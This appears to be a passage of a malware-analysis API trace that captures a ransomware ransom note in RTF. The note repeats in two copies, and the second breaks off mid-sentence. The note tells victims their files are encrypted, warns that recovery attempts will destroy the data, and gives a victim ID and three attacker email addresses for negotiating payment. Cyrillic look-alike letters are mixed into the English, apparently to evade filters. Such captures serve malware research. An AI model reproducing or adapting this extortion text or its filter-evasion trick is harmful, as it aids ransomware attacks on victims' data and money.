!\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n 